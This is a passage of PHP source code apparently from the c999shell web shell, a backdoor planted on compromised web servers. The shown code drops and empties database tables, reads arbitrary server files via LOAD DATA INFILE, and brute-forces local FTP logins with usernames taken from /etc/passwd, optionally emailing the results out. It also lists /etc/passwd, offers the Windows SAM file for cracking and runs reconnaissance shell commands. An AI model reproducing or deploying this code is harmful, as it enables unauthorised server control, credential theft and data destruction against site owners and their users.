  5565.        if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  5566.        echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  5567.       }
  5568.      }
  5569.      if ($sql_tbl_act == "browse")
  5570.      {
  5571.       $sql_tbl_ls = abs($sql_tbl_ls);
  5572.       $sql_tbl_le = abs($sql_tbl_le);
  5573.       echo "<hr size=\"1\" noshade>";
  5574.       echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
  5575.       $b = 0;
  5576.       for($i=0;$i<$numpages;$i++)
  5577.       {
  5578.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  5579.        echo $i;
  5580.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  5581.        if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  5582.        else {echo "&nbsp;";}
  5583.       }
  5584.       if ($i == 0) {echo "empty";}
  5585.       echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  5586.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
  5587.       echo "<tr>";
  5588.       echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  5589.       for ($i=0;$i<mysql_num_fields($result);$i++)
  5590.       {
  5591.        $v = mysql_field_name($result,$i);
  5592.        if ($e[0] == "a") {$s = "d"; $m = "asc";}
  5593.        else {$s = "a"; $m = "desc";}
  5594.        echo "<td>";
  5595.        if (empty($e[0])) {$e[0] = "a";}
  5596.        if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  5597.        else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  5598.        echo "</td>";
  5599.       }
  5600.       echo "<td><font color=\"green\"><b>Action</b></font></td>";
  5601.       echo "</tr>";
  5602.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  5603.       {
  5604.        echo "<tr>";
  5605.        $w = "";
  5606.        $i = 0;
  5607.        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  5608.        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  5609.        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  5610.        $i = 0;
  5611.        foreach ($row as $k=>$v)
  5612.        {
  5613.         $v = htmlspecialchars($v);
  5614.         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  5615.         echo "<td>".$v."</td>";
  5616.         $i++;
  5617.        }
  5618.        echo "<td>";
  5619.        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  5620.        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  5621.        echo "</td>";
  5622.        echo "</tr>";
  5623.       }
  5624.       mysql_free_result($result);
  5625.       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  5626.       echo "<option value=\"\">With selected:</option>";
  5627.       echo "<option value=\"deleterow\">Delete</option>";
  5628.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  5629.      }
  5630.     }
  5631.     else
  5632.     {
  5633.      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  5634.      if (!$result) {echo mysql_smarterror();}
  5635.      else
  5636.      {
  5637.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  5638.       $i = 0;
  5639.       $tsize = $trows = 0;
  5640.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  5641.       {
  5642.        $tsize += $row["Data_length"];
  5643.        $trows += $row["Rows"];
  5644.        $size = view_size($row["Data_length"]);
  5645.        echo "<tr>";
  5646.        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  5647.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  5648.        echo "<td>".$row["Rows"]."</td>";
  5649.        echo "<td>".$row["Type"]."</td>";
  5650.        echo "<td>".$row["Create_time"]."</td>";
  5651.        echo "<td>".$row["Update_time"]."</td>";
  5652.        echo "<td>".$size."</td>";
  5653.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  5654.        echo "</tr>";
  5655.        $i++;
  5656.       }
  5657.       echo "<tr bgcolor=\"000000\">";
  5658.       echo "<td><center><b>»</b></center></td>";
  5659.       echo "<td><center><b>".$i." table(s)</b></center></td>";
  5660.       echo "<td><b>".$trows."</b></td>";
  5661.       echo "<td>".$row[1]."</td>";
  5662.       echo "<td>".$row[10]."</td>";
  5663.       echo "<td>".$row[11]."</td>";
  5664.       echo "<td><b>".view_size($tsize)."</b></td>";
  5665.       echo "<td></td>";
  5666.       echo "</tr>";
  5667.       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  5668.       echo "<option value=\"\">With selected:</option>";
  5669.       echo "<option value=\"tbldrop\">Drop</option>";
  5670.       echo "<option value=\"tblempty\">Empty</option>";
  5671.       echo "<option value=\"tbldump\">Dump</option>";
  5672.       echo "<option value=\"tblcheck\">Check table</option>";
  5673.       echo "<option value=\"tbloptimize\">Optimize table</option>";
  5674.       echo "<option value=\"tblrepair\">Repair table</option>";
  5675.       echo "<option value=\"tblanalyze\">Analyze table</option>";
  5676.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  5677.       mysql_free_result($result);
  5678.      }
  5679.     }
  5680.    }
  5681.    }
  5682.   }
  5683.   else
  5684.   {
  5685.    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  5686.    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  5687.    if (!empty($sql_act))
  5688.    {
  5689.     echo "<hr size=\"1\" noshade>";
  5690.     if ($sql_act == "newdb")
  5691.     {
  5692.      echo "<b>";
  5693.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  5694.      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  5695.     }
  5696.     if ($sql_act == "serverstatus")
  5697.     {
  5698.      $result = mysql_query("SHOW STATUS", $sql_sock);
  5699.      echo "<center><b>Server-status variables:</b><br><br>";
  5700.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  5701.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  5702.      echo "</table></center>";
  5703.      mysql_free_result($result);
  5704.     }
  5705.     if ($sql_act == "servervars")
  5706.     {
  5707.      $result = mysql_query("SHOW VARIABLES", $sql_sock);
  5708.      echo "<center><b>Server variables:</b><br><br>";
  5709.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  5710.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  5711.      echo "</table>";
  5712.      mysql_free_result($result);
  5713.     }
  5714.     if ($sql_act == "processes")
  5715.     {
  5716.      if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
  5717.      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  5718.      echo "<center><b>Processes:</b><br><br>";
  5719.      echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  5720.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  5721.      echo "</table>";
  5722.      mysql_free_result($result);
  5723.     }
  5724.     if ($sql_act == "getfile")
  5725.     {
  5726.      $tmpdb = $sql_login."_tmpdb";
  5727.      $select = mysql_select_db($tmpdb);
  5728.      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  5729.      if ($select)
  5730.      {
  5731.       $created = FALSE;
  5732.       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  5733.       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  5734.       $result = mysql_query("SELECT * FROM tmp_file;");
  5735.       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  5736.       else
  5737.       {
  5738.        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  5739.        $f = "";
  5740.        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  5741.        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  5742.        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  5743.        mysql_free_result($result);
  5744.        mysql_query("DROP TABLE tmp_file;");
  5745.       }
  5746.      }
  5747.      mysql_drop_db($tmpdb); //comment it if you want to leave database
  5748.     }
  5749.    }
  5750.   }
  5751.  }
  5752.  echo "</td></tr></table>";
  5753.  if ($sql_sock)
  5754.  {
  5755.   $affected = @mysql_affected_rows($sql_sock);
  5756.   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  5757.   echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
  5758.  }
  5759.  echo "</table>";
  5760. }
  5761. if ($act == "mkdir")
  5762. {
  5763.  if ($mkdir != $d)
  5764.  {
  5765.   if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  5766.   elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  5767.   echo "<br><br>";
  5768.  }
  5769.  $act = $dspact = "ls";
  5770. }
  5771. if ($act == "ftpquickbrute")
  5772. {
  5773.  echo "<b>Ftp Quick brute:</b><br>";
  5774.  if (!win) {echo "This functions not work in Windows!<br><br>";}
  5775.  else
  5776.  {
  5777.   function c999ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
  5778.   {
  5779.    if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
  5780.    else {$TRUE = TRUE;}
  5781.    if ($TRUE)
  5782.    {
  5783.     $sock = @ftp_connect($host,$port,$timeout);
  5784.     if (@ftp_login($sock,$login,$pass))
  5785.     {
  5786.      echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  5787.      ob_flush();
  5788.      return TRUE;
  5789.     }
  5790.    }
  5791.   }
  5792.   if (!empty($submit))
  5793.   {
  5794.    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  5795.    $fp = fopen("/etc/passwd","r");
  5796.    if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  5797.    else
  5798.    {
  5799.     if ($fqb_logging)
  5800.     {
  5801.      if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  5802.      else {$fqb_logfp = FALSE;}
  5803.      $fqb_log = "FTP Quick Brute (called c999shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  5804.      if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  5805.     }
  5806.     ob_flush();
  5807.     $i = $success = 0;
  5808.     $ftpquick_st = getmicrotime();
  5809.     while(!feof($fp))
  5810.     {
  5811.      $str = explode(":",fgets($fp,2048));
  5812.      if (c999ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
  5813.      {
  5814.       echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  5815.       $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  5816.       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  5817.       $success++;
  5818.       ob_flush();
  5819.      }
  5820.      if ($i > $fqb_lenght) {break;}
  5821.      $i++;
  5822.     }
  5823.     if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  5824.     $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  5825.     echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  5826.     $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  5827.     if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  5828.     if ($fqb_logemail) {@mail($fqb_logemail,"c999shell v. ".$shver." report",$fqb_log);}
  5829.     fclose($fqb_logfp);
  5830.    }
  5831.   }
  5832.   else
  5833.   {
  5834.    $logfile = $tmpdir_logs."c999sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  5835.    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  5836.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
  5837.   }
  5838.  }
  5839. }
  5840. if ($act == "d")
  5841. {
  5842.  if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
  5843.  else
  5844.  {
  5845.   echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  5846.   if (!$win)
  5847.   {
  5848.    echo "<tr><td><b>Owner/Group</b></td><td> ";
  5849.    $ow = posix_getpwuid(fileowner($d));
  5850.    $gr = posix_getgrgid(filegroup($d));
  5851.    $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  5852.   }
  5853.   echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
  5854.  }
  5855. }
  5856. if ($act == "phpinfo") {@ob_clean(); phpinfo(); c999shexit();}
  5857. if ($act == "security")
  5858. {
  5859.  echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
  5860.  if (!$win)
  5861.  {
  5862.   if ($nixpasswd)
  5863.   {
  5864.    if ($nixpasswd == 1) {$nixpasswd = 0;}
  5865.    echo "<b>*nix /etc/passwd:</b><br>";
  5866.    if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  5867.    if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  5868.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
  5869.    $i = $nixpwd_s;
  5870.    while ($i < $nixpwd_e)
  5871.    {
  5872.     $uid = posix_getpwuid($i);
  5873.     if ($uid)
  5874.     {
  5875.      $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  5876.      echo join(":",$uid)."<br>";
  5877.     }
  5878.     $i++;
  5879.    }
  5880.   }
  5881.   else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
  5882.  }
  5883.  else
  5884.  {
  5885.   $v = $_SERVER["WINDIR"]."\repair\sam";
  5886.   if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";}
  5887.   else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+</font></b><br>";}
  5888.  }
  5889.  if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
  5890.  if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";}
  5891.  if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  5892.  if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  5893.  if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
  5894.  if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
  5895.  if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
  5896.  function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
  5897.  displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
  5898.  displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
  5899.  displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
  5900.  displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
  5901.  displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
  5902.  displaysecinfo("RAM",myshellexec("free -m"));
  5903.  displaysecinfo("HDD space",myshellexec("df -h"));
  5904.  displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
  5905.  displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
  5906.  displaysecinfo("Is cURL installed?",myshellexec("which curl"));
  5907.  displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
  5908.  displaysecinfo("Is links installed?",myshellexec("which links"));
  5909.  displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
  5910.  displaysecinfo("Is GET installed?",myshellexec("which GET"));
  5911.  displaysecinfo("Is perl installed?",myshellexec("which perl"));
  5912.  displaysecinfo("Where is apache",myshellexec("whereis apache"));
  5913.  displaysecinfo("Where is perl?",myshellexec("whereis perl"));
  5914.  displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
  5915.  displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
  5916.  displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
  5917.  displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
  5918. }
  5919. if ($act == "mkfile")
  5920. {
  5921.  if ($mkfile != $d)
  5922.  {
  5923.   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  5924.   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  5925.   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  5926.  }
  5927.  else {$act = $dspact = "ls";}
  5928. }
  5929. if ($act == "encoder")
  5930. {
  5931.  echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
  5932.  foreach(array("md5","crypt","sha1","crc32") as $v)
  5933.  {
  5934.   echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
  5935.  }
  5936.  echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
  5937. <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
  5938. <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
  5939.  echo "<center>base64_decode - ";
  5940.  if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
  5941.  else
  5942.  {
  5943.   $debase64 = base64_decode($encoder_input);
  5944.   $debase64 = str_replace("\0","[0]",$debase64);
  5945.   $a = explode("\r\n",$debase64);
  5946.   $rows = count($a);
  5947.   $debase64 = htmlspecialchars($debase64);
  5948.   if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
  5949.   else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
  5950.   echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
  5951.  }
  5952.  echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  5953.  $c = strlen($encoder_input);
  5954.  for($i=0;$i<$c;$i++)
  5955.  {
  5956.   $hex = dechex(ord($encoder_input[$i]));
  5957.   if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  5958.   elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  5959.  }
  5960.  echo "\" readonly><br></center></form>";
  5961. }
  5962. if ($act == "fsbuff")
  5963. {
